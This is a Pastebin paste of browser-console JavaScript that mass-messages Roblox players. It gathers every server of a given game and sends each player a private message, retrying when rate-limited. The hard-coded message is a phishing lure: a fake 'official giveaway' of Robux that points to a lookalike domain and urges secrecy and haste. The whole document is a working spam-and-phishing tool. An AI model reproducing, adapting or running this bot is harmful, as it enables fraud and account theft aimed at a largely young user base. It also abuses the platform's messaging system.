Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var waitTime = 10; // In seconds
- var subject = "Roblox is doing a give away &un!!!"; // Subject of the message.
- var body = "You don't know me, but I'm spreading around this secret website that Roblox was hiding from us. This is the OFFICIAL GIVEAWAY TEST PAGE donating R$ to players on the real website! roblox.wf/?id=38307. Don't tell your friends, keep it a secret! LIMITED SUPPLY SO COME QUICK! The website is unlocked and unpatched as of 12/17/16."; // Body of the message
- var GameID = 70501379; // ID of the game to locate players to message.
- var excludedGroups = []// IDs of group whose members won't be messaged.
- var senderPause = 1; // Wait time in seconds after successfully sending a message.
- /////////////////////////////////////////////////////////
- // Leave both of these blank.
- var servers = [];
- var GameName = '';
- function finishProcess(serverIndex, playerIndex) {
- if (playerIndex + 1 == servers[serverIndex].CurrentPlayers.length) {
- if (serverIndex + 1 != servers.length) {
- msgNext(serverIndex + 1, 0);
- } else {
- console.log('Finished!');
- }
- } else {
- msgNext(serverIndex, playerIndex + 1);
- }
- }
- function sendMsg(serverIndex, playerIndex, player, passed) {
- if (passed === true) {
- $.post('https://www.roblox.com/messages/send', {
- subject : subject.replace(/&un/gi, player.Username).replace(/&gn/gi, GameName),
- body : body.replace(/&un/gi, player.Username).replace(/&gn/gi, GameName),
- recipientid : player.Id,
- cacheBuster : new Date().getTime()
- }).done(function(response) {
- if (response.success === true) {
- console.log('Sent message to '+player.Username+'.');
- setTimeout(function() {
- finishProcess(serverIndex, playerIndex);
- }, senderPause*1000);
- } else {
- if (response.shortMessage == 'SenderFlooded') {
- console.log('Sender is flooded. Retrying in '+senderPause+' second(s).');
- setTimeout(function() {
- sendMsg(serverIndex, playerIndex, player, true);
- }, senderPause*1000);
- } else {
- console.log('Could not message '+player.Username+'. '+response.shortMessage+'.');
- finishProcess(serverIndex, playerIndex);
- }
- }
- });
- } else {
- if (passed !== false) {
- console.log(passed);
- }
- finishProcess(serverIndex, playerIndex);
- }
- }
- function groupCheck(serverIndex, playerIndex, groupIndex, player) {
- $.get('https://www.roblox.com/Game/LuaWebService/HandleSocialRequest.ashx?method=IsInGroup&playerid='+player.Id+'&groupid='+excludedGroups[groupIndex], function(response) {
- if (response.indexOf('true') != -1) {
- sendMsg(serverIndex, playerIndex, player, player.Username+' is in an excluded group.');
- } else {
- if (excludedGroups.length > groupIndex + 1) {
- groupCheck(serverIndex, playerIndex, groupIndex + 1, player);
- } else {
- sendMsg(serverIndex, playerIndex, player, true);
- }
- }
- });
- };
- function msgNext(serverIndex, playerIndex) {
- var player = servers[serverIndex].CurrentPlayers[playerIndex];
- if (player.Id > 0) {
- if (excludedGroups.length > 0) {
- groupCheck(serverIndex, playerIndex, 0, player);
- } else {
- sendMsg(serverIndex, playerIndex, player, true);
- }
- } else {
- sendMsg(serverIndex, playerIndex, player, false);
- }
- }
- function getServers(startIndex) {
- var serversURL = ('https://www.roblox.com/games/getgameinstancesjson?placeId='+GameID+'&startIndex='+startIndex);
- $.get(serversURL).done(function(obj) {
- for (var server in obj.Collection) {
- servers.push(obj.Collection[server]);
- }
- if (obj.Collection.length > 0) {
- getServers(startIndex+10);
- } else {
- console.log('Ready to send messages.');
- msgNext(0, 0);
- }
- });
- }
- console.log('Starting bot.');
- $.get('https://www.roblox.com/place-thumbnails?params=[{placeId:'+GameID+'}]').done(function(response) {
- GameName = response[0].name;
- console.log('Obtaining list of servers for '+GameName+'. Please wait.');
- getServers(0);
Add Comment
Please, Sign In to add comment